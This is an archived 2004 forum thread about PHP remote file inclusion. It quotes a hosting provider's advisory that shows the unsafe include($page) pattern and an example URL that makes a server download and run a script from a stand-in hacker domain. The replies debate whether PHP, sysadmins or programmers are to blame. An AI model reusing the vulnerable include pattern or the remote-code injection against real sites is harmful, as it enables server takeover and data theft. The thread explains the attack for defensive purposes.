473,804 Members | 2,673 Online
Bytes | Software Development & Data Engineering Community
+ Post

Home Posts Topics Members FAQ

PHP blamed for security problems

Here's what this morning's security advisory read here:

``In the last 3 months we have noticed an marked increase in the number of
web-server attacks and successful compromise on our network. These are
mostly PHP-script exploits and are giving hackers easy shell access to
virtual servers, as mentioned in the PHP Security Advisory in the News
section of the control centre. We really cannot do much about these
network attacks other than to inform our customers to stay vigilant and
upgrade PHP-script software whenever newer versions become available.
The allow_url_open change to PHP is about as much as we can do here.''

They offer a more detailed description of the problem:

``Recently, we've seen an increase in malicious activity on
our servers, caused by hackers who have successfuly gained
shell access via insecure PHP scripts.

Following our own investigation of these hacked accounts, we
believe we have established the common point-of-entry for
these attacks.

As you may be aware, PHP provides a number of functions for
opening files such as 'fopen()' and it's also possible to
pass an HTTP or FTP URL to these such that
fopen('http://www.dsvr.co.uk/'); will fetch the contents of
the DSVR homepage for PHP to treat as a file.

What you may not be aware of is that functions such as
include() also allow URLs to be passed as their argument.
Since these functions cause the included file to be parsed
and executed as PHP code, this can be a major security flaw.

Many clients seem to be using PHP that looks like this:

<html>
...standard header...
<? include($page); ?>
...standard footer...
</html>

as a cheap way to manage common headers and footers. These
pages can be accessed like so:

http://www.your-domain.co.uk/index.php?page=about.inc

so that a file 'about.inc' is included inside the standard
header/footer.

However, unless the $page variable is checked for valid
content -- and input sanity checking is conspicuously absent
in many PHP scripts we encounter -- this is very open to
misuse. Malicious third parties could do the following:

http://www.your-domain.co.uk/index.p...oot-script.txt

This example would cause
http://www.hacker-domain.co.uk/my-root-script.txt
to be downloaded and executed as PHP, allowing the hacker to
manipulate server files and create backdoors which allow
them to log in using telnet or ssh and cause further
disruption.''
--
__________
|im |yler http://timtyler.org/ ti*@tt1lock.org Remove lock to reply.
Jul 17 '05
38 3229
On 2004-03-18, Tim Tyler <ti*@tt1lock.or g> wrote:
Tim Van Wassenhove <eu**@pi.be> wrote or quoted:
On 2004-03-18, Tim Tyler <ti*@tt1lock.or g> wrote:
> Tim Van Wassenhove <eu**@pi.be> wrote or quoted:
>> On 2004-03-16, Tim Tyler <ti*@tt1lock.or g> wrote: >> > Here's what this morning's security advisory read here:
>> > ``Recently, we've seen an increase in malicious activity on
>> > our servers, caused by hackers who have successfuly gained
>> > shell access via insecure PHP scripts.
>>
>> And who's to blame for that? The php script? Or the sysadmin that gives
>> to many rights to the user that is running apache?
>
> Giving even rather minimal rights will allow the manipulation of files
> on the server. The hacker is likely to be able to recover the system
> password file and run it through a password cracker. In many cases,
> this will be enough for them to make quite a mess - e.g. by using
> compromised accounts to relay spam.


Imho the one to blame for should be the sysadmin for not using shadow
passwords. [...]


That's a fair comment.

However (though I haven't asked them) I suspect shadow passwords are not
currently an option for them. They provide multiple "virutal servers" on
the same machine - and the administrator of each server doesn't get root
access - but they are the one who needs to manipulate users and passwords.


I would think that in larger companies authentication is against LDAP or
MySQL or whatever database. And thus still no need for running php as
root etc..

--
http://home.mysth.be/~timvw
Jul 17 '05 #21
Tim Tyler <ti*@tt1lock.or g> wrote or quoted:
Tim Van Wassenhove <eu**@pi.be> wrote or quoted:
On 2004-03-18, Tim Tyler <ti*@tt1lock.or g> wrote:
Tim Van Wassenhove <eu**@pi.be> wrote or quoted:
> On 2004-03-16, Tim Tyler <ti*@tt1lock.or g> wrote: Here's what this morning's security advisory read here:
> > ``Recently, we've seen an increase in malicious activity on
> > our servers, caused by hackers who have successfuly gained
> > shell access via insecure PHP scripts.
>
> And who's to blame for that? The php script? Or the sysadmin that gives
> to many rights to the user that is running apache?

Giving even rather minimal rights will allow the manipulation of files
on the server. The hacker is likely to be able to recover the system
password file and run it through a password cracker. In many cases,
this will be enough for them to make quite a mess - e.g. by using
compromised accounts to relay spam.


Imho the one to blame for should be the sysadmin for not using shadow
passwords. [...]


That's a fair comment.

However (though I haven't asked them) I suspect shadow passwords are not
currently an option for them. They provide multiple "virutal servers" on
the same machine - and the administrator of each server doesn't get root
access - but they are the one who needs to manipulate users and passwords.

There may be scope for improvement here - but it may not be terribly
simple to do.


I asked them. They said they /do/ plan to take more measures to conceal
the passwd file - but that it presents some technical difficulties - and
they can't say when they might manage it by.
--
__________
|im |yler http://timtyler.org/ ti*@tt1lock.org Remove lock to reply.
Jul 17 '05 #22
Tim Tyler <ti*@tt1lock.or g> wrote in message news:<Hu******* *@bath.ac.uk>.. .
R. Rajesh Jeba Anbiah <ng**********@r ediffmail.com> wrote or quoted:
Blame the design and programmers---not the PHP.

In India, we can file a case against anyone who damage one's name
with a kind of hoax. I don't know, whether we should take some efforts
to sue such people who intentionally damage PHP instead of blaming the
design and programmers.


I can't say I approve of the "legal" approach to software security.

Fund the removal of the security holes - not detectives to catch
those who exploit them and lawyers to sue them.


I'm not saying about legal approach to software security. I'm saying
about legal approach to the people who spead the hoax that PHP is not
secure instead of blaming the design and lame programmers.

--
http://www.sendmetoindia.com - Send Me to India!
Email: rrjanbiah-at-Y!com
Jul 17 '05 #23
MyOdd <sp********@myo ddweb.com> wrote or quoted:
Maybe php could prevent the usage of include(...) from a $_GET/$_POST but how can that really be enforced...


By not running code taken from remote machines, perhaps?


That would be a very good start IMHO.
I have been wanting to write an app for some times that go thru php scripts and flags possible security risks. I don't know if i really have the time to.


Better to eliminate the risks at source - rather than scan every script
in the universe.


Yes of course.
But i was more thinking of a tool that developers would use to scan their
scripts just b4 release so that they can get a report of possible security
risks.
I am also guilty of oversights and i would like to have an app go thru my
code to ensure that i did not make any basic mistakes.

It wouldn't be something used all the time.

Simon.
Jul 17 '05 #24
R. Rajesh Jeba Anbiah <ng**********@r ediffmail.com> wrote or quoted:
Tim Tyler <ti*@tt1lock.or g> wrote in message news:<Hu******* *@bath.ac.uk>.. .
R. Rajesh Jeba Anbiah <ng**********@r ediffmail.com> wrote or quoted:
Blame the design and programmers---not the PHP.

In India, we can file a case against anyone who damage one's name
with a kind of hoax. I don't know, whether we should take some efforts
to sue such people who intentionally damage PHP instead of blaming the
design and programmers.


I can't say I approve of the "legal" approach to software security.

Fund the removal of the security holes - not detectives to catch
those who exploit them and lawyers to sue them.


I'm not saying about legal approach to software security. I'm saying
about legal approach to the people who spead the hoax that PHP is not
secure instead of blaming the design and lame programmers.


In this case, PHP is at fault.

A casually-written script should *not* allow attackers to remotely run the
code of their choice on the server with the permissions of the webserver.

That allows them to (e.g.) publicly expose the source of every file the
webserver has read access to - which seems like a security disaster to me
- the remote attacker gives themselves the same access rights to files
that a local user has.

Don't blame the authors of the scripts - permitting this is PHP's fault -
and I don't care if you want to set the lawyers on me for saying so ;-)
--
__________
|im |yler http://timtyler.org/ ti*@tt1lock.org Remove lock to reply.
Jul 17 '05 #25
Tim Van Wassenhove <eu**@pi.be> wrote or quoted:
I would think that in larger companies authentication is against LDAP or
MySQL or whatever database. And thus still no need for running php as
root etc..


Nobody is running PHP as root in the first place.

However the abitily to run the script of your choice - and read and write
files with the permissions of the web server is probably pretty devastating.

At the very least you could publicly expose the source code of
practically everything to the attackers.
--
__________
|im |yler http://timtyler.org/ ti*@tt1lock.org Remove lock to reply.
Jul 17 '05 #26
On 2004-03-19, Tim Tyler <ti*@tt1lock.or g> wrote:
Tim Van Wassenhove <eu**@pi.be> wrote or quoted:

However the abitily to run the script of your choice - and read and write
files with the permissions of the web server is probably pretty devastating.
The user that is running your webserver does NOT need write access to
files. All that it needs is x on the directory (and the directories to
get there), and r for the file.

And with mod_security, or whatever the setting is called in php, you can
lock much more things down ;)
At the very least you could publicly expose the source code of
practically everything to the attackers.


Security through obscurity doesn't work anyway. So what is the problem?

--
http://home.mysth.be/~timvw
Jul 17 '05 #27
Tim Van Wassenhove <eu**@pi.be> wrote or quoted:
On 2004-03-19, Tim Tyler <ti*@tt1lock.or g> wrote:

However the abitily to run the script of your choice - and read and write
files with the permissions of the web server is probably pretty devastating.


The user that is running your webserver does NOT need write access to
files. All that it needs is x on the directory (and the directories to
get there), and r for the file.


The webserver usually has to do some writing - to log files, and so
forth. It needs to be able to write files.
At the very least you could publicly expose the source code of
practically everything to the attackers.


Security through obscurity doesn't work anyway. So what is the problem?


Security through obscurity is a technical phrase from cryptography.

One thing it *doesn't* mean that keeping your PHP source code away
from your competitors is a bad move.
--
__________
|im |yler http://timtyler.org/ ti*@tt1lock.org Remove lock to reply.
Jul 17 '05 #28
On 2004-03-19, Tim Tyler <ti*@tt1lock.or g> wrote:
Tim Van Wassenhove <eu**@pi.be> wrote or quoted:
On 2004-03-19, Tim Tyler <ti*@tt1lock.or g> wrote:

> However the abitily to run the script of your choice - and read and write
> files with the permissions of the web server is probably pretty devastating.


The user that is running your webserver does NOT need write access to
files. All that it needs is x on the directory (and the directories to
get there), and r for the file.


The webserver usually has to do some writing - to log files, and so
forth. It ow would this be devestating?

Sample code that runs on a box with safe_mode=on would be nice.
> At the very least you could publicly expose the source code of
> practically everything to the attackers.

Security through obscurity is a technical phrase from cryptography.


And why wouldn't it be valid for source code exposure in general? (As this
thread is about security, and not on how desirable it would be to have
your code being public for competitors).

--
http://home.mysth.be/~timvw
Jul 17 '05 #29
Tim Tyler <ti*@tt1lock.or g> wrote:
In this case, PHP is at fault.
IMO, that is almost like saying "the OS is at fault" for allowing users
to delete files or install software. (granted, a require() that can
slurp in and evaluate code from across the net is kind of asking for
problems)

A casually-written script should *not* allow attackers to remotely run the
code of their choice on the server with the permissions of the webserver.
Which is why casually written programs are generally a bad idea. :-)

Although, with people offering to write custom code for $10/hr it is kind of
inevitable that shortcuts be made.

The market and cheap programming does put programmers in a position
where this type of thing is bound to happen. Web designers skipping over
to programming because they can't afford to hire a programmer,
programmers rushing through stuff because they'll average only $2.00/hr
if they DON'T rush it, etc.. I guess people who pay some guy $5.00/hr to
write their stuff kind of deserve what they get.

That allows them to (e.g.) publicly expose the source of every file the
webserver has read access to - which seems like a security disaster to me
- the remote attacker gives themselves the same access rights to files
that a local user has.

Don't blame the authors of the scripts - permitting this is PHP's fault -
and I don't care if you want to set the lawyers on me for saying so ;-)

Well, legal action isn't the answer... I don't think PHP is to blame
either, it's the programmers in this case. If it were a buffer problem
or some wird part of PHP that would evaluate form input or something
w/out the programmers say-so, well, then it's PHP's fault. In this case,
the responsibility lies on the programmers. Opening ANY file, command,
or any system interaction needs to be questioned and inspected.

Jamie


Jul 17 '05 #30

This thread has been closed and replies have been disabled. Please start a new discussion.

Similar topics

5
1890
by: Julien Buratto | last post by:
I don't think Php, setting safe_mode and register globals did a serious job on 4.1.x versions and above. Actually I would like to see that crapy problems beeing solved on Php5 but it seems nobody is thinking of it... Any idea ? Julien
0
1421
by: Ken in Melbourne Australia | last post by:
For some Open Source (GPL licensed) programs that I am working on, I am trying to create some PHP routines for data handling with good security. The routines I have created for this are given below and I would like these reviewed for security problems or other problems that they may have. My requirements are as follows:
4
5431
by: Lorenzo | last post by:
hi you all, first of all apologies for having cross-posted this message but really i did not know where to post it. please let me know what ng you consider the most suitable for the described issue. i wrote a program made by a client and a server that communicate via RMI premise 1) everything has been developed and executed on WinXP Professional and the following jre
354
15932
by: Montrose... | last post by:
After working in c# for a year, the only conclusion I can come to is that I wish I knew c. All I need is Linux, the gnu c compiler and I can do anything. Web services are just open sockets hooked up to interfaces. The Gtk is more than enough gui.
116
7593
by: Mike MacSween | last post by:
S**t for brains strikes again! Why did I do that? When I met the clients and at some point they vaguely asked whether eventually would it be possible to have some people who could read the data and some who couldn't but that it wasn't important right now. And I said, 'sure, we can do that later'. So now I've developed an app without any thought to security and am trying to apply it afterwards. Doh!, doh! and triple doh!
3
1868
by: mar10 | last post by:
I am creating a database in Access 2002 for a small firm that would like security on the tables. They want some employees to have write access only to tables, while others read-only. I have not done anything with security since way back in version '97. I'm reading some white papers I've found to gain knowledge of current security issues. My question is, can I create security problems with other access programs I have created as I...
7
1989
by: Magdelin | last post by:
Hi, My security team thinks allowing communication between the two IIS instances leads to severe security risks. Basically, we want to put our presentation tier on the perimeter network and the business tier inside the fire wall or internal network. The biz tier will be developed and deployed as web services on IIS. I know microsoft recommends this architecture but I am not able to convince my security team. They say IIS is vulnerable...
15
10516
by: himilecyclist | last post by:
My State government organization has written a PHP/MySQL application which has been in production for about 6 months and has been highly successful. We are now embarking on a similar database application, but one with much higher security concerns (birth data). Prior to beginning the project, we met with an oversight committee who strongly advised against PHP and suggested Java. Their concern was that PHP could not be trusted to...
1
1211
by: Peter Morris | last post by:
The problems with software development these days as I see them are 01: Hiring crap coders. Some companies seem as though they like to fill seats or something and will hire someone with very poor skills. 02: Unrealistic deadlines. People rarely seem to plan for the unexpected these days. They seem to give an estimate of how long something should take if everything goes to plan, which never happens. 03: Coders not speaking out or...
0
9577
by: Hystou | last post by:
Most computers default to English, but sometimes we require a different language, especially when relocating. Forgot to request a specific language before your computer shipped? No problem! You can effortlessly switch the default language on Windows 10 without reinstalling. I'll walk you through it. First, let's disable language synchronization. With a Microsoft account, language settings sync across devices. To prevent any complications,...
0
10075
tracyyun
by: tracyyun | last post by:
Dear forum friends, With the development of smart home technology, a variety of wireless communication protocols have appeared on the market, such as Zigbee, Z-Wave, Wi-Fi, Bluetooth, etc. Each protocol has its own unique characteristics and advantages, but as a user who is planning to build a smart home system, I am a bit confused by the choice of these technologies. I'm particularly interested in Zigbee because I've heard it does some...
0
9140
agi2029
by: agi2029 | last post by:
Let's talk about the concept of autonomous AI software engineers and no-code agents. These AIs are designed to manage the entire lifecycle of a software development project—planning, coding, testing, and deployment—without human intervention. Imagine an AI that can take a project description, break it down, write the code, debug it, and then launch it, all on its own.... Now, this would greatly impact the work of software developers. The idea...
1
7615
isladogs
by: isladogs | last post by:
The next Access Europe User Group meeting will be on Wednesday 1 May 2024 starting at 18:00 UK time (6PM UTC+1) and finishing by 19:30 (7.30PM). In this session, we are pleased to welcome a new presenter, Adolph Dupré who will be discussing some powerful techniques for using class modules. He will explain when you may want to use classes instead of User Defined Types (UDT). For example, to manage the data in unbound forms. Adolph will...
0
6847
by: conductexam | last post by:
I have .net C# application in which I am extracting data from word file and save it in database particularly. To store word all data as it is I am converting the whole word file firstly in HTML and then checking html paragraph one by one. At the time of converting from word file to html my equations which are in the word document file was convert into image. Globals.ThisAddIn.Application.ActiveDocument.Select();...
0
5651
by: adsilva | last post by:
A Windows Forms form does not have the event Unload, like VB6. What one acts like?
1
4295
by: 6302768590 | last post by:
Hai team i want code for transfer the data from one system to another through IP address by using C# our system has to for every 5mins then we have to update the data what the data is updated we have to send another system
2
3815
muto222
by: muto222 | last post by:
How can i add a mobile payment intergratation into php mysql website.
3
2990
bsmnconsultancy
by: bsmnconsultancy | last post by:
In today's digital era, a well-designed website is crucial for businesses looking to succeed. Whether you're a small business owner or a large corporation in Toronto, having a strong online presence can significantly impact your brand's success. BSMN Consultancy, a leader in Website Development in Toronto offers valuable insights into creating effective websites that not only look great but also perform exceptionally well. In this comprehensive...

By using Bytes.com and it's services, you agree to our Privacy Policy and Terms of Use.

To disable or enable advertisements and analytics tracking please visit the manage ads & tracking page.